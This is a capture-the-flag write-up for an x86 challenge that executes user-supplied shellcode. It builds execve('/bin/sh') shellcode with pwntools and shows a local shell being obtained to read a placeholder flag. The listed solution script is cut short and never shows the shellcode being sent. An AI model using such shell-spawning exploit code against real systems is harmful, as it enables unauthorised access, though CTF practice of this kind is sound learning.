This challenge offers you to write some shellcode and it'll execute it for you. It's an x86 executable with minimal permissions:
checksec ./chall[*] './chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: NoWe'll cover writing shellcode by hand later. For now, we can let pwntools build it for us. pwntools ships shellcraft, a library of ready-made assembly, and asm() to turn it into raw bytes.
The buffer only holds 31 bytes (fgets reads sizeof(buffer)), so the full shellcraft.sh() helper (44 bytes) won't fit. Instead, we assemble execve("/bin/sh") directly, which is a compact 28 bytes:
sc = asm(shellcraft.execve("/bin/sh", 0, 0))We send this to the binary using Pwntools:
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p = process()Running this script drops us into a shell, where we can read the flag:
python3 solution.py[*] './chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No[+] Starting local process './chall': pid 149615[*] Switching to interactive modeGive me some some code! I'll execute it for you.>Thank you!$ cat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}